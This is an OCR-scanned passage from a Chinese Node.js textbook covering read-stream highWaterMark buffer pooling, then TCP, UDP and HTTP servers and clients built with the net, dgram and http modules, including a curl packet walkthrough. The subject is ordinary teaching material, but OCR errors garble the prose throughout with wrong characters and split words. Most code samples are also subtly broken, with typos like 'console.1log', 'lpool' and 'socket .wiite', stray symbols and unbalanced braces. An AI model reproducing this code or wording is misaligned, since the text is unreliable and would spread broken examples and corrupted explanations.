highWaterMark: 64 * 1024 
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我 们 还 可 以 传递 start 和 end 来 指定 读 取 文件 的 位 置 范围 : 

{start: 90，end: 99} 

fs.createReadStream() 的 工作 方式 是 在 内 存 中 准备 一 段 Buffer， 然 后 在 fs.read() 读 取 时 逐步 
从 磁盘 中 将 字 节 复制 到 Buffer 中 。 完 成 一 次 谈 取 时 ， 则 从 这 个 Buffer 中 通过 slice() 方 法 取出 部 分 
数据 作为 一 个 小 Buffer 对 象 ， 青 通过 data 事 件 传 递 给 调用 方 。 如 采 Buffer 用 完 ， 则 重新 分 配 一 个 ; 
如 有 果 还 有 剩余 ， 则 继续 使 用 。 下 面 为 分 配 一 个 新 的 Buffer 对 象 的 操作 : 


var pool; 


function allocNewpool(poolSize) { 
pool = new Buffer(poolSize); 
pool.used = 0; 


} 

在 理想 的 状 次 下， 每 次 谈 取 的 长 度 就 是 用 户 指定 的 highwaterMark。 但 是 有 可 能 该 到 了 文件 
结尾 ， 或 者 文件 本 身 就 没有 指定 的 highwaterMark 那 么 大 ， 这 个 预先 指定 的 Buffer 对 象 将 会 有 部 分 
剩余 ， 不 过 好 在 这 里 的 内 存 可 以 分 配给 下 次 读 取 时 使 用 。poo1 是 党 驻 内 存 的 ， 只 有 当 poo1 单 元 剩 
余数 量 小 于 128( kMinPoolSpace ) 字 节 时 ， 才 会 重新 分 配 一 个 新 的 Buffer 对 象 。Node 源 代码 中 分 
配 新 的 Buffer 对 象 的 判断 条 件 如 下 所 示 : 


if (lpool || pool.length - pool.used < kMinpoolSpace) { 
// discard the old pool 
pool = null; 
allocNewPool(this. readableState.highWaterMark); 

} 


这 里 与 Buffer 的 内 存 分 配 比 较 类 似 ，highWaterMark 的 大 小 对 性 能 有 两 个 影响 的 点 。 

口 highWaterMark 设 置 对 Buffer 内 存 的 分 配 和 使 用 有 一 定 影响 。 

口 highwaterMark 设 置 过 小 ， 可 能 导致 系统 调用 次 数 过 多 。 

文件 流 读 取 基于 Buffer 分 配 ，Buffer 则 基于 SlowBuffer 分 配 , 这 可 以 理解 为 两 个 维度 的 分 配 策 
略 。 如 果 文 件 较 小 (小 于 8 KB )， 有 可 能 造成 slab 示 能 完全 使 用 。 

由 于 fs .createReadStream() 内 部 采用 fs.read() 实 现 ， 将 会 引起 对 磁盘 的 系统 调用 ， 对 于 大 
文件 而 言 ，highwaterMark 的 大 小 决定 会 触发 系统 调用 和 data 事 件 的 次 数 。 

以 下 为 Node 目 市 的 基准 测试 ， 在 benchmark/fs/read-stream-throughput.js 中 可 以 找到 : 


function runTest() { 
assert(fs.statSync(filename).size === filesize); 
var rs = fs.createReadStream(filename, { 
highWaterMark: size, 
encoding: encoding 


}); 


rs.on('open', function() { 
bench. start(); 
Di 


var bytes = 0; 
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rs.on('data', function(chunk) { 
bytes += chunk.length; 


}); 


rs.on('end', function() { 
try { fs.unlinkSync(filename); } catch (e) {} 


// MB/sec 
bench.end(bytes / (1024 * 1024)); 
})3 
} 
下 面 为 某 次 执行 的 结 


fs/read-stream-throughput.js type=buf size=1024: 46.284 
fs/read-stream-throughput.]js type=buf size=4096: 139.62 
fs/read-stream-throughput.]js type=buf size=65535: 681.88 
fs/read-stream-throughput.]js type=buf size=1048576: 857.98 


从 上 面 的 执行 结 采 我 们 可 以 看 到 ， 读 取 一 个 相同 的 大 文件 时 ，highWaterMark 值 的 大 小 与 读 取 速 
度 的 关系 : 该 值 越 大 ， 该 取 速 度 越 快 。 


6.5 全 


体验 过 JavaScript 友 好 的 字符 串 操作 后 ， 有 些 开 发 者 可 能 会 形成 思维 定 势 ， 将 Buffer 当 做 字 

符 串 来 理解 。 但 字符 串 与 Buffer 之 间 有 实质 上 的 差异 ， 即 Buffer 是 二 进 制 数据 ， 字 符 串 与 Buffer 

之 间 存 在 编码 关系 。 因 此 ， 理 解 Buffer 的 诸多 细 克 十 分 必要 。 对 于 如 何 高 效 处 理 二 进 制 数 据 十 
分 有 用 。 


6.6 参考 资源 


本 章 参 考 的 资源 如 下 : 

D http://nodejs.org/docs/latest/ap1i/buffer.html 

DQ http://nodejs.org/docs/latest/apl/string decoder.html 
DQ https://github.com/bnoordhuis/node-1conv 

D https://github.com/ashtuchkin/iconv-lite 

D http://httpd.apache.org/docs/2.2/programs/ab.html 
DQ http://cnode]js.org/user/fool 

DQ http://en.wikipedia.org/wik1/Slab allocation 


D https:/www.ibm.com/developerworks/cn/linux/l-linux-slab-allocator/ 
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Node 是 一 个 面向 网 络 而 生 的 平台 , 它 具 有 事件 驱动 、 无 阻塞、 单线 程 等 特性 ， 具备 良好 的 可 
伸缩 性 ， 使 得 它 十 分 轻 量 ,， 适合 在 分 布 式 网 络 中 扮演 各 种 各 样 的 角色 。 同 时 Node 提 供 的 API 十 分 
贴 合 网 络 ， 适 合用 它 基 础 的 API 构 建 灵活 的 网 络 服务 。 从 本 章 起 ,我 将 介绍 Node 在 网 络 服务 冀 方 
面 的 具体 能 

利用 Node 可 以 十 分 方便 地 搭建 网 络 服务 器 。 在 Web 领 域 , 大 多 数 的 编程 语言 需要 专门 的 Web 
服务 右 作 为 容 人 各 ， 如 ASP、ASPNET 和 需要 IIS 作 为 服务 各 ，PHP 知 要 搭载 Apache 或 Nginx 环 境 等 ， 
JSP 和 需要 Tomcat 服 务 右 等 。 但 对 于 Node 而 言 ， 只 需要 几 行 代码 即 可 构建 服务 各 ,无 需 额 外 的 容 带 。 

Node 提 供 了 net、dgram、http、https 这 4 个 模块 , 分 别 用 于 处 理 TCP、UDP、HTTP、HTTPS， 
适用 于 服务 硕 端 和 客户 端 。 


7.1 构建 TCP 服务 
TCP 服 务 在 网 络 应 用 中 十 分 常见 ， 目 前 大 多 数 的 应 用 都 是 基于 TCP 搭 建 而 成 的 。 


7.1.1 TCP 
TCP 全 名 为 传输 控制 协议 ， 在 OSI 模 型 ( 由 七 层 组 成 ,分 别 为 物理 屋 、 数 据 链 结 层 、 网 络 层 、 
传输 层 、 会 话 层 、 表 示 层 、 应 用 层 ) 中 属于 传输 层 协议 。 许 多 应 用 层 协 议 基 于 TCP 构 建 ， 典 型 的 
是 HTTP、SMTP、IMAP 等 协议 。 七 层 协 议 示 意图 如 图 7-1 所 示 。 
加 密 / 解 密 等 表示 层 
通信 连接 /维持 会 话 ”| 会 话 层 


网 络 特 有 的 链 路 接 链 路 反 
网 络 物 霸 础 件 物理 层 


图 7-1 OSI 模型 (七 层 协议 ) 
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TCP 是 面 问 连接 的 协议 ， 其 显 者 的 特征 是 在 传输 之 前 需要 3 次 握手 形成 会 话 ， 如 网 7-2 所 示 。 


开始 传输 


图 7-2 ”TCP 在 传输 之 前 的 3 次 握手 
只 有 会 话 形 成 之 后 ,服务 右 端 和 客户 端 之 间 才 能 互相 发 送 数 据 。 在 创建 会 话 的 过 程 中 ,服务 
妖 问 和 客户 问 分 别提 供 一 个 玛 接 字 , 这 两 个 套 接 字 共 同形 成 一 个 连接 。 服 务 硕 端 与 客户 闪 则 通过 
套 接 字 实现 两 者 之 间 连 接 的 操作 。 


7.1.2 创建 TCP 服 务 器 端 


在 基本 了 解 TCP 的 工作 原理 之 后 ， 我 们 可 以 开始 创建 一 个 TCP 服 务 需 端 来 接受 网 络 请 求 ， 代 
但 如 下 : 


var net = require( net ' ) 


var server = net.createServer(function (Socket) { 
// 新 的 连接 
socket.on('data', function (data) { 
socket.write(" 你 好 "); 
}); 


socket.on('end', function () { 
console.1log(' 连 接 断 开 '); 


socket .wiite(" 欢 迎 光 临 《 深 入 浅 出 Node.js》 示 例 : \n"); 
}); 


server.listen(8124, function () { 
console.1log('server bound'); 


3 


我 们 通过 net .createServer(]istenez) 即 可 创建 一 个 TCP 服 务 需 , listener 是 连接 事件 connection 
的 侦 听 需 ， 也 可 以 采用 如 下 的 方式 进行 侦 听 : 


var server = net.createServer(); 
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server.on('connection', function (socket) { 
// 新 的 连接 
}); 


server.listen(8124); 
我 们 可 以 利用 Telnet 工 具 作为 客户 端 对 刚才 创建 的 简单 服务 从 进行 会 话 交 流 ， 相 关 代 码 如 下 
所 示 : 


$ telnet 127.0.0.1 8124 

Trying 127.0.0.1... 

Connected to localhost. 

Escape character is '^]'. 

欢迎 光临 《深入 浅 出 Node.js》 示 例 : 

hi 

你 好 

除了 端口 外 ， 同 样 我 们 也 可 以 对 Domain Socket 进 行 监听 ， 人 代码 如 下 : 
server.listen('/tmp/echo.sock'); 

通过 nc 工具 进行 会 话 ， 测 试 上 面 构 建 的 TCP 服 务 的 代码 如 下 所 示 : 

$ nc -U /tmp/echo.sock 

欢迎 光临 《深入 浅 出 Node.js》 示 例 : 

hi 

你 好 

通过 net 模 块 日 行 构造 客户 端 进行 会 话 ， 测 试 上 面 构 建 的 TCP 服 务 的 代码 如 下 所 示 : 


var net = require('net'); 

var client = net.connect({port: 8124}, function () { //'connect' listener 
console.log('client connected'); 
client.write('world!\r\n'); 


}); 


client.on('data', function (data) { 
console.log(data.toString()); 
client.end(); 

}); 


client.on('end', function () { 
console.log('client disconnected'); 


}); 
将 以 上 客户 端 代码 存 为 clientjs 并 执行 ， 如 下 所 示 : 


$ node client.]js 
client connected 
欢迎 光临 《深入 浅 出 Node.js》 示 例 : 


你 好 
client disconnected 


其 结果 与 使 用 Telnet 和 nc 的 会 话 结 果 并 无 差别 。 如 果 是 Domain Socket， 在 填写 选项 时 ， 填 写 
path 即 可 ， 代 码 如 下 : 


var client = net.connect({path: '/tmp/echo.sock'}); 
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7.1.3 ” TCP 服务 的 事件 


在 上 述 的 示例 中 ， 代 人 码 分 为 服务 器 事件 和 连接 事件 。 
1. 服务 器 事件 
对 于 通过 net.createServer() 创 建 的 服务 需 而 言 ， 它 是 一 个 EventEmitter 实 例 ， 它 的 目 定 义 
事件 有 如 下 几 种 。 
口 listening: 在 调用 server.listen() 绑 定 端 口 或 者 Domain Socket 后 触发 ， 人 简洁 写法 为 
server.listen(port,listeningListener)， 通过 listen() 方 法 的 第 二 个 参数 传人 。 
口 connection: 每 个 客户 端 套 接 字 连接 到 服务 絮 端 时 触发 ， 人 简洁 写法 为 通过 net.create- 
Server()， 最 后 一 个 参数 传递 。 
口 close: 当 服 务 融 关闭 时 触发 ， 在 调用 server.close() 后 ， 服 务 需 将 俘 止 接受 新 的 套 接 字 
连接 ， 但 保持 当前 存在 的 连接 ， 等 竺 所 有 连接 都 新 开 后 ， 会 触发 该 事件 。 
D error: 当 服 务 需 发 生 异 销 时 ， 将 会 触发 该 事件 。 比 如 侦 听 一 个 使 用 中 的 端口 ， 将 会 触发 
一 个 异 稼 ， 如 果 不 侦 听 error 事 件 ， 服 务 硕 将 会 抛 出 异 稼 。 
2. 连接 事件 
服务 套 可 以 同时 与 多 个 客户 端 保持 连接 ， 对 于 每 个 连接 而 言 是 典型 的 可 写 可 旋 Stream 对 象 。 
Stream 对 象 可 以 用 于 服务 顺 端 和 客户 端 之 间 的 通信 ， 既 可 以 通过 data 事 件 从 一 端 谈 取 另 一 端 发 来 
的 数据 ， 也 可 以 通过 write() 方 法 从 一 问 同 另 一 器 发 送 数据 。 它 具有 如 下 目 定 义 事 件 。 
口 data: 当 一 问 调 用 write() 发 送 数 据 时 ， 另 一 问 会 触发 data 事 件 ， 事 件 传递 的 数据 即 是 
wiite() 发 送 的 数据 。 
D end: 当 连 接 中 的 任意 一 端 发 送 了 FIN 数 据 时 ， 将 会 触发 该 事件 。 
口 connect: 该 事件 用 于 客户 端 ， 当 套 接 字 与 服务 需 端 连接 成 功 时 会 被 触发 。 
口 drain: 当 任 意 一 端 调用 write() 发 送 数据 时 ， 当 前 这 端 会 甬 发 该 事件 。 
D error: 当 异 党 发生 时 ， 触 发 该 事件 。 
口 close: 当 套 接 字 完全 关闭 时 ， 触 发 该 事件 。 
口 timeout: 当 一 定时 间 后 连接 不 再 活跃 时 ， 该 事件 将 会 被 触发 ， 通 知 用 户 当 前 该 连接 已 经 
被 闲置 了 。 
另外 , 由 于 TCP 套 接 字 是 可 写 可 访 的 Strfeam 对 象 , 可 以 利用 pipe() 方 法 巧妙 地 实现 管道 操作 ， 
如 下 代码 实现 了 一 个 echo 服 务 骨 : 


var net = require('net'); 


var server = net.createServer(function (Socket) { 
socket.write('Echo server\r\n'); 
socket.pipe(socket); 


3 
server.listen(1337, '127.0.0.1'); 


值得 注意 的 是 ，TCP 针 对 网 络 中 的 小 数据 包 有 一 定 的 优化 策略 : Nagle 算 法 。 如 来 每 次 上 只 发 
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送 一 个 字 市 的 内 容 而 不 优化 , 网 络 中 将 充满 只 有 极 少数 有 效 数 据 的 数据 包 , 将 十 分 浪费 网 络 资源 。 
Nagle 算 法 针对 这 种 情况 ， 要 求 缓冲 区 的 数据 达到 一 定数 量 或 者 一 定时 间 后 才 将 其 发 出 ， 所 以 小 
数据 包 将 会 被 Nagle 算 法 合并 ， 以 此 来 优化 网 络 。 这 种 优化 虽然 使 网 络 带宽 被 有 效 地 使 用 ， 但 是 
数据 有 可 能 被 延迟 发 送 。 

在 Node 中 ， 由 于 TCP 默 认 启 用 了 Nagle 算 法 ， 可 以 调用 socket.setNoDelay(true) 去 挥 Nagle 算 
法 ， 使 得 write() 可 以 立即 发 送 数据 到 网 络 中 。 

另 一 个 需要 注意 的 是 ， 尽 管 在 网 络 的 一 问 调 用 write() 会 甬 发 另 一 问 的 data 事 件 ， 但 是 并 不 
意味 着 每 次 write() 都 会 触发 一 次 data 事 件 ， 在 关闭 挥 Nagle 算 法 后 ， 男 一 问 可 能 会 将 接收 到 的 多 
个 小 数据 包 合 并 ,然后 只 触发 一 次 data 事 件 。 


7.2 构建 UDP 服务 


UDP 又 称 用 户 数据 包 协 议 ， 与 TCP 一 样 同 属于 网 络 传输 层 。UDP 与 TCP 最 大 的 不 同 是 UDP 不 是 
面 问 连接 的 。TCP 中 连接 一 旦 建立 ， 所 有 的 会 话 都 基于 连接 完成 ， 客 户 端 如 果 要 与 吨 一 个 TCP 服 务 
通信 ， 需要 另 创建 一 个 套 接 字 来 完成 连接 。 但 在 UDP 中 ， 一 个 套 接 字 可 以 与 多 个 UDP 服务 通信 , 它 
虽然 提供 面 回 事务 的 简单 不 可 笔 信 息 传输 服务 , 在 网 络 差 的 情况 下 存在 丢 包 严重 的 问题 , 但 是 由 于 
它 无 须 连 接 , 资源 消耗 低 , 处 理 快速 晶 灵 活 , 所 以 常常 应 用 在 那 种 偶尔 丢 一 两 个 数据 包 也 不 会 产生 
重大 影响 的 场景 ， 比 如 音频 、 视 频 等 。UDP 目 前 应 用 很 广泛 ，DNS 服 务 即 是 基于 它 实 现 的 。 


7.2.1 创建 UDP 套 接 字 
创建 UDP 套 接 字 十 分 简单 ，UDP 套 接 字 一 旦 创建 ， 既 可 以 作为 客户 端 发 送 数 据 ， 也 可 以 作为 
服务 器 端 接收 数据 。 下 面 的 代码 创建 了 一 个 UDP 套 接 字 : 


var dgram = require('dgram'); 
var socket = dgram.createSocket("udp4"); 


7.2.2 创建 UDP 服 务 器 端 


右 想 让 UDP 套 接 字 接收 网 络 消息 ， 只 要 调用 dgram.bind(port，[address]) 方 法 对 网 卡 和 端口 
进行 绑 定 即 可 。 以 下 为 一 个 完整 的 服务 融 细 示例 : 

var dgram = require("dgram"); 

var server = dgram.createSocket("udp4"); 


server.on("message", function (msg, rinfo) { 
console.log("server got: " + msg + " from "+ 
rinfo.address + ":" + rinfo.port); 


}); 


server.on("listening", function () { 
var address = server.address(); 
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console.log("server listening ”+ 
address.address + ":" + address.port); 
}); 


server.bind(41234); 


该 套 接 字 将 接收 所 有 网 卡 上 41234 端 口上 的 消息 。 在 绑 定 完成 后 ， 将 触发 1istening 事 件 。 


7.2.3 创建 UDP 客户 端 


接 下 来 我 们 创建 一 个 客户 端 与 服务 需 端 进行 对 话 ， 代 人 码 如 下 : 
var dgram = ITequire( dgram ) ; 
var message = new Buffer(" 深 入 浅 出 Node.Jjs"”); 


var client = dgram.createSocket("udp4"); 


client.send(message, 0, message.length, 41234, "localhost", function(err, bytes) { 
client.close(); 


}); 
保存 为 clientjs 并 执行 ， 服 务 占 端的 命令 行将 会 有 如 下 输出 : 
$ node server.]js 


server listening 0.0.0.0:41234 
SerVer got: 深入 浅 出 Node.js from 127.0.0.1:58682 


当 套 接 字 对 象 用 在 客户 端 时 , 可 以 调用 send() 方 法 发 送 消 息 到 网 络 中 。send() 方 法 的 参数 如 下 : 

socket.send(buf, offset, length, port, address, [callback]) 

这 些 参数 分 别 为 要 发 送 的 Buffer、Buffer 的 偏 移 、Buffer 的 长 度 、 目 标 端口 、 目 标 地 址 、 发 送 
完成 后 的 回调 。 与 TCP 套 接 字 的 write() 相 比 ，send() 方 法 的 参数 列表 相对 复杂 , 但 是 它 更 灵活 的 
地 方 在 于 可 以 随意 发 送 数据 到 网 络 中 的 服务 硕 妆 ， 而 TCP 如 东 要 发 送 数据 给 夯 一 个 服务 融 病 ， 则 
需要 重新 通过 套 接 字 构 造 新 的 连接 。 


7.2.4 ”UDP 套 接 字 事件 


UDP 套 接 字 相对 TCP 套 接 字 使 用 起 来 更 简单 ， 它 只 是 一 个 EventEmitter 的 实例 ， 而 非 Stream 
的 实例 。 它 具备 如 下 目 定 义 事件 。 

D message: 当 UDP 套 接 字 侦 上 听 网 卡 端口 后 ， 接 收 到 消息 时 触发 该 事件 ， 触 发 携 市 的 数据 为 
消息 Buffer 对 象 和 一 个 远程 地 址 信息 。 

口 listening: 当 UDP 套 接 学 开始 候 听 时 触发 该 事件 。 

口 close: 调用 close() 方 法 时 触发 该 事件 ， 并 不 再 触发 message 事 件 。 如 需 再 次 触发 mnessage 
事件 ， 重 新 绑 定 即 可 。 

D error: 当 异 名 发 生 时 触发 该 事件 ， 如 果 不 侦 听 ， 异 名 将 直接 抛 出 ， 使 进程 退出 。 


7.3 构建 HTTP 服务 


TCP 与 UDP 都 属于 网 络 传输 层 协议 , 如 末 要 构造 高 效 的 网 络 应 用 , 就 应 该 从 传输 层 进行 看 手 。 
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但 是 对 于 经 典 的 应 用 场景 , 则 无 须 从 传输 层 协议 和 人手 构造 自己 的 应 用 ,比如 HTTP 或 SMTP 等 ,这 
些 经 典 的 应 用 层 协 议 对 于 普通 应 用 而 言 缂 缂 有 余 。Node 提 供 了 基本 的 http 和 https 模 块 用 于 HTTP 
和 HTTPS 的 封装 ， 对 于 其 他 应 用 层 协议 的 封装 ， 也 能 从 社区 中 轻松 找到 其 实现 。 

在 Node 中 构建 HTTP 服 务 极 其 容易 ，Node 官 网 上 的 经 典 例子 就 展示 了 如 何 用 寥寥 几 行 代码 实 
现 一 个 HTTP 服务 硕 ， 代 码 如 下 : 


var http = require('http'); 

http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}) .listen(1337, '127.0.0.1'); 

console.log('Server running at http://127.0.0.1:1337/'); 


尽管 这 个 HTTP 服 务 器 简单 到 只 能 回复 Hello World,， 但 是 它 能 维持 的 并 发 量 和 QPS 都 是 不 容 
小 凯 的 ， 其 背后 的 原因 在 第 3 章 中 有 和 叙述 ， 此 处 我 们 不 再 探讨 。 这 里 我 们 抛 开 性 能 ， 只 对 其 HTTP 
服务 在 应 用 层 的 实现 原理 进行 展开 、 讨 论 和 人 研究 。 


71.3.1 HTIP 


1. 初 识 HTTP 

HTTP 的 全 称 是 超 文本 传输 协议 ， 英 文 写作 HyperText Transfer Protocol。 欲 了 解 Web， 先 了 解 
HTTP 将 会 极 大 地 提高 我 们 对 Web 的 认 知 。HTTP 构 建 在 TCP 之 上 , 属于 应 用 层 协议 。 在 HTTP 的 两 
站 是 服务 估 和 浏览 做， 即 若 名 的 B/S 模 式 ， 如 今 精彩 纷呈 的 Web 即 是 HTTP 的 应 用 。 

HTTP 得 以 发 展 是 W3C 和 IETF 两 个 组 织 合作 的 结果 ， 他 们 最 终 发 布 了 一 系列 RFC 标 准 ， 目 前 
最 知名 的 HTTP 标 准 为 RFC 2616。 

2. HTTP 报 文 

为 了 详细 解释 HTTP 的 报 文 ， 在 局 动 上 述 服务 融 端 代码 后 ， 我 们 对 经 典 示 例 代 但 进行 一 次 报 文 
的 获取 ， 这 里 采用 的 工具 是 curl, 通过 -v 选 项 ,可 以 显示 这 次 网 络 通信 的 所 有 报 文 信息 ， 如 下 所 示 : 
curl -v http://127.0.0.1:1337 
About to connect() to 127.0.0.1 port 1337 (#0) 

Trying 127.0.0.1... 

connected 
Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 
GET / HTTP/1.1 
User-Agent: curl/7.24.0 (x86 64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 


Host: 127.0.0.1:1337 
Accept: */* 


HTTP/1.1 200 OK 

Content-Type: text/plain 

Date: Sat, 06 Apr 2013 08:01:44 GMT 
Connection: keep-alive 
Transfer-Encoding: chunked 


工作 八 八 八 八 八 六 YYV VY VV Vv 关 关 * XA 


ello World 
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* Connection #0 to host 127.0.0.1 left intact 
* Closing connection #0 


从 上 述 信 息 中 我 们 可 以 看 到 这 次 网 络 通 信 的 报 文 信息 分 为 几 个 部 分 ,第 一 部 分 内 容 为 经 典 的 
TCP 的 3 次 握手 过 程 ， 如 下 所 未: 


* About to connect() to 127.0.0.1 port 1337 (#0) 

* Trying 127.0.0.1... 

* connected 

* Connected to 127.0.0.1 (127.0.0.1) port 1337 (#0) 


第 二 部 分 是 在 完成 握手 之 后 ， 客 户 问 回 服 务 曾 端 发 送 请 求 报 文 ， 如 下 所 未: 


> GET / HTTP/1.1 

> User-Agent: curl/7.24.0 (x86 64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 

> Accept: */* 

> 


第 三 部 分 是 服务 瘟病 完成 处 理 后 , 回 客 户 端 发 送 啊 应 内 容 , 包括 啊 应 头 和 啊 应 体 , 如 下 所 示 : 


< HTTP/1.1 200 OK 

< Content-Type: text/plain 

< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 

< Transfer-Encoding: chunked 

< 
H 


ello World 
最 后 部 分 是 结束 会 话 的 信息 ， 如 下 所 示 : 


* Connection #0 to host 127.0.0.1 left intact 
* Closing connection #0 


从 上 述 的 报 文 信息 中 可 以 看 出 HTTP 的 特点 ， 它 是 基于 请 求 啊 应 式 的 ， 以 一 问 一 答 的 方式 实 
现 服务 ， 虽 然 基于 TCP 会 话 ， 但 是 本 吴 却 并 无 会 话 的 特点 。 

从 协议 的 角度 来 说 ， 现 在 的 应 用 ， 如 浏览 妖 ， 其 实 是 一 个 HTTP 的 代理 ， 用 户 的 行为 将 会 通 
过 它 转 化 为 HITP 请 求 报 文 发 送 给 服务 需 端 ， 服 务 需 端 在 处 理 请 求 后 ， 发 送 啊 应 报 文 给 代理 ， 代 
理 在 解析 报 文 后 ， 将 用 户 需 要 的 内 容 呈 现在 界面 上 。 以 浏览 锅 打 开 一 张 图 片 地 址 为 例 : 首先 ， 浏 
览 需 构 造 HITP 报 文 发 回 图 片 服 务 需 端 ; 然后 ， 服 务 需 端 判断 报 文中 的 要 请 求 的 地 址 ， 将 磁盘 中 
的 图 片 文 件 以 报 文 的 形式 发 送 给 浏览 右 ; 浏览 带 接 收 完 图 片 后 ， 调 用 演 染 引擎 将 其 显示 给 用 户 。 
简 而 言 之 ，HTTP 服 务 只 做 两 件 事情 : 处 理 HTTP 请 求 和 发 送 HTTP 啊 应 。 

无 论 是 HTTP 请 求 报 文 还 是 HTTP 啊 应 报 文 ， 报 文 内 容 都 包含 两 个 部 分 : 报 文 头 和 报 文体 。 

上 文 的 报 文 代码 中 > 和 < 部 分 属于 报 文 的 头 部 ， 由 于 是 GET 请 求 ， 请求 报 文中 没有 包含 报 文体 ， 
响应 报 文中 的 Hello World 即 是 报 文体 。 


7.3.2 http 模块 


Node 的 http 模 块 包含 对 HTTP 处 理 的 封装 。 在 Node 中 ，HTTP 服 务 继承 自 TCP 服 务 器 〈 net 模 
块 )， 它 能 够 与 多 个 客户 端 保持 连接 ， 由 于 其 采用 事件 驱动 的 形式 ， 并 不 为 每 一 个 连接 创建 额外 
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的 线程 或 进程 ， 保 持 很 低 的 内 存 占用 ， 所 以 能 实现 高 并 发 。HTTP 服 务 与 TCP 服 务 模型 有 区 别 的 
地 方 在 于 ， 在 开启 keepalive 后 ， 一 个 TCP 会 话 可 以 用 于 多 次 请 求 和 响应 。TCP 服 务 以 connection 
为 单位 进行 服务 ，HTTP 服 务 以 request 为 单位 进行 服务 。http 模 块 即 是 将 connection 到 request 的 
过 程 进行 了 封 泽 ， 示 意图 如 图 7-3 所 示 。 


connection 


request 
| 


图 7-3” ”http 模块 将 connection 到 request 的 过 程 进行 了 封装 
除 此 之 外 ，http 模 块 将 连接 所 用 和 套 接 字 的 谈 写 抽象 为 ServerRequest 和 ServerResponse 对 象 ， 
它们 分 别 对 应 请 求 和 啊 应 操作 。 在 请 求 产生 的 过 程 中 ，http 模 块 拿 到 连接 中 传 来 的 数据 ， 调 用 二 
进 制 模块 http_parser 进 行 解析 ， 在 解析 完 请 求 报 文 的 报头 后 ， 触 发 request 事 件 ， 调 用 用 户 的 业 
务 逻 辑 。 该 流程 的 示意 网 如 网 7-4 所 示 。 


TCP 服务 器 套 接 字 
http 模 块 


图 7-4 http 柑 块 产生 请 求 的 流程 


图 7-4 中 的 处 理 程序 对 应 到 示例 中 的 代码 就 是 啊 应 Hello World 这 部 分 ， 代 码 如 下 : 


function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

} 
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1. HTTP 请 求 
对 于 TCP 连 接 的 读 操 作 ，http 模 块 将 其 封装 为 ServerRequest 对 象 。 让 我们 再 次 查看 前 面 的 请 
求 报 文 ， 报 文 头 部 将 会 通过 http_parser 进 行 解析 。 请 求 报 文 的 代码 如 下 所 示 : 


> GET / HTTP/1.1 

> User-Agent: curl/7.24.0 (x86 64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 

> Accept: */* 

> 


报 文 头 第 一 行 GET / HTTP/1.1 被 解析 之 后 分 解 为 如 下 属性 。 
口 req.method 属 性 : 值 为 GET， 是 为 请 求 方法 ,常见 的 请 求 方法 有 GET、POST、DELETE、PUT、 
CONNECT 等 几 种 。 
口 req.url 属 性 : 值 为 /。 
口 req.httpVersion 属 性 : 值 为 1.1。 
其 余 报头 是 很 规律 的 Key: Value 格式 ， 被 解析 后 放置 在 req.headers 属 性 上 传递 给 业务 逻辑 以 
供 调 用 ， 如 下 所 示 : 


headers: 
{ 'user-agent': 'curl/7.24.0 (x86 64-apple-darwin12.0) libcur1l/7.24.0 OpenSSL/0.9.8r zlib/1.2.5', 
host: '127.0.0.1:1337', 
accept: '*/*' }, 
报 文体 部 分 则 抽象 为 一 个 只 该 流 对 象 , 如 果 业 务 逻 辑 需 要 读 取 报 文体 中 的 数据 , 则 要 在 这 个 
数据 流 结束 后 才能 进行 操作 ， 如 下 所 示 : 
function (req, res) { 
// console.log(req.headers); 
var buffers = [|]; 
req.on('data', function (trunk) { 
buffers.push(trunk); 
}).on('end', function () { 
var buffer = Buffer.concat(buffers); 
// TODO 
res.end('Hello world'); 


}); 
} 


HTTP 请 求 对 象 和 HTTP 啊 应 对 象 是 相对 较 底层 的 封 疾 ， 现 行 的 Web 框 架 如 Connect 和 Express 
都 是 在 这 两 个 对 象 的 基础 上 进行 蝇 层 封 淡 完成 的 。 

2. HTTP 响 应 

再 来 看 看 HTTP 啊 应 对 象 。hHTTP 啊 应 相对 简 蛙 一 些 , 它 封 疙 了 对 压 层 连接 的 写 操作 ， 可 以 将 
其 看 成 一 个 可 写 的 流 对 象 。 它 影响 啊 应 报 文 头 部 信息 的 API 为 res.setHeader() 和 res. 
writeHead()。 在 上 述 示例 中 : 

res.writeHead(200, {'Content-Type': 'text/plain'}); 


其 分 为 setHeader() 和 writeHead() 两 个 步骤 。 它 在 http 模 块 的 封闭 下 ， 实 际 生 成 如 下 报 文 : 
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< HTTP/1.1 200 OK 
< Content-Type: text/plain 


我 们 可 以 调用 setHeader 进 行 多 次 设置 ， 但 只 有 调用 writeHead 后 ,报头 才 会 写 入 到 连接 中 。 
除 此 之 外 ，http 模 块 会 目 动 帮 你 设置 一 些 头 信息 ， 如 下 所 示 : 


< Date: Sat, 06 ApT 2013 08:01:44 GMT 
《 Connection: keep-alive 

< Transfer-Encoding: chunked 

< 


报 文体 部 分 则 是 调用 res .write() 和 res.end() 方 法 实现 , 后 者 与 前 者 的 差别 在 于 res.end() 会 
先 调 用 write() 发 送 数据 ， 然 后 发 送信 号 告知 服务 融 这 次 啊 应 结束 ， 啊 应 结果 如 下 所 示 : 
Hello World 
吧 应 结束 后 ，HTTP 服 务 需 可 能 会 将 当前 的 连接 用 于 下 一 个 请 求 ， 或 者 关闭 连接 。 值 得 注意 
的 是 ， 报 头 是 在 报 文 体 发 送 前 发 送 的 ， 一 旦 开始 了 数据 的 发 送 ，writeHead() 和 setHeader() 将 不 
再 生效。 这 由 协议 的 特性 决定 。 
另外 ， 无 论 服 务 需 端 在 处 理 业务 逻辑 时 是 否 发 生 异 浓 ， 务 必 在 结束 时 调用 res.end() 结 束 请 
求 ， 否 则 客户 端 将 一 直 处 于 等 竺 的 状态 。 当 然 ， 也 可 以 通过 延迟 res.end() 的 方式 实现 客户 端 与 
服务 需 端 之 间 的 长 连接 ， 但 结束 时 务必 关闭 连接 。 
3. HTTP 服 务 的 事件 
如 同 TCP 服 务 一 样 ，HTTP 服 务 需 也 抽象 了 一 些 事 件 ， 以 供应 用 层 使 用 ， 同 样式 型 的 是 ， 服 
务 需 也 是 一 个 EventEmitter 实 例 。 
